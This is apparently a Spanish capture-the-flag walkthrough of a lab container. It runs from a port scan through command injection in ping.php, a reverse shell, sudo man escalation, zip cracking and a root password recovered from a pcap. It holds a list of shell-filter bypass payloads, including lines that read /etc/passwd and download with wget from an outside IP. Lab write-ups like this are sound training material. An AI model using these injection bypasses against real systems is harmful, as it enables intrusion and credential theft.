Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 10:44 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62
| http-ls: Volume /
| SIZE TIME FILENAME
| 1.0K 2025-04-05 11:13 ping.php
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
Veremos que solo hay un puerto 80 en el que tiene alojado un archivo llamado ping.php si intentamos entrar en el veremos el siguiente texto:
Por favor, ingresa una IP válida.
Vamos a realizar un poco de fuzzing para ver que parametro puede ser el que pueda enviar la IP.
Vemos que funciona con el parametro ip, por lo que vamos a probar lo siguiente:
URL = http://<IP>/ping.php?ip=<IP_ATTACKER>
Info:
PING 192.168.1.146 (192.168.1.146) 56(84) bytes of data.
64 bytes from 192.168.1.146: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 192.168.1.146: icmp_seq=2 ttl=64 time=0.058 ms
64 bytes from 192.168.1.146: icmp_seq=3 ttl=64 time=0.051 ms
64 bytes from 192.168.1.146: icmp_seq=4 ttl=64 time=0.053 ms
--- 192.168.1.146 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3094ms
rtt min/avg/max/mdev = 0.031/0.048/0.058/0.010 ms
Veremos que ha funcionado, como esto se esta realizando por el protocolo ICMP vamos a probar a dumpear la informacion que estamos recibiendo con la herramienta tcpdump.
Pero no veremos gran cosa, vamos a seguir realizando fuzzing para poder intentar realizar un RCE poniendo ; pero si lo hacemos nos pondra comando no permitido por lo que vamos a probar a codificarlo en URL pero con la herramienta FFUF.
bypasses.txt
/usr/bin/p?ng
nma? -p 80 localhost
/usr/bin/who*mi
touch -- -la
ls
/usr/bin/n[c]
'p'i'n'g
"w"h"o"a"m"i
\u\n\a\m\e \-\a
ech''o test
ech""o test
bas''e64
/\b\i\n/////s\h
echo whoami|$0
cat$u /etc$u/passwd$u
p${u}i${u}n${u}g
p$(u)i$(u)n$(u)g
w`u`h`u`o`u`a`u`m`u`i
!-1
mi
whoa
!-1!-2
{cat,lol.txt}
{echo,test}
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b
IFS=,;`cat<<<cat,/etc/passwd`
echo${IFS}test
X=$'cat\x20/etc/passwd'&&$X
p\
i\
n\
g
$u $u
uname!-1\-a
Antes de ejecutarlo nos pondremos a la escucha de la siguiente forma:
nc -lvnp <PORT>
Ahora si enviamos ese payload y volvemos a donde tenemos la escucha veremo lo siguiente:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 58866
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b2e08b52d168:/var/www/html$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user balutin
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on 2f80b9197745:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on 2f80b9197745:
(balutin) NOPASSWD: /usr/bin/man
Veremos que podemos ejecutar el binario man como el usuario balutin por lo que podremos hacer lo siguiente:
Si vamos a nuestra home veremos un archivo .zip el cual no podremos descomprimir ya que tiene contraseña, por lo que vamos a pasarnoslo a nuestra maquina host pero la maquina victima no tendra python por lo que tendremos que hacerlo de la siguiente forma:
Ahora enviamos el comando anterior estando a la escucha y veremos esto:
listening on [any] 7755 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 44344
Con esto veremos que ha funcionado de forma correcta y veremos el archivo secretito.zip por lo que vamos a crackear la contraseña de la siguiente forma:
zip2john
zip2john secretito.zip > hash.zip
john --wordlist=<WORDLIST> hash.zip
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chocolate (secretito.zip/traffic.pcap)
1g 0:00:00:00 DONE (2025-04-12 03:36) 25.00g/s 102400p/s 102400c/s 102400C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que ha funcionado y abremos obtenido el .pcap vamos a ver que contiene:
unzip secretito.zip
Metemos como contraseña chocolate y veremos que se descomprimio de forma correcta, ahota si intentamos abrir el .pcap con Wireshark veremos que hay archivos corruptos, por lo que vamos a intentar ver los strings de dicho archivo:
strings traffic.pcap
Info:
POST /login HTTP/1.1
Host: ejemplo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=root&password=secretitosecretazo!
GET /private HTTP/1.1
Authorization: Basic cm9vdDpTdXBlclNlY3JldDEyMyE=
Host: ejemplo.com
Veremos que contiene la password de root por lo que vamos a probarla en la maquina victima:
su root
Info:
root@2f80b9197745:/home/balutin# whoami
root
Metemos como contraseña secretitosecretazo! y veremos que funciono, por lo que habremos terminado la maquina.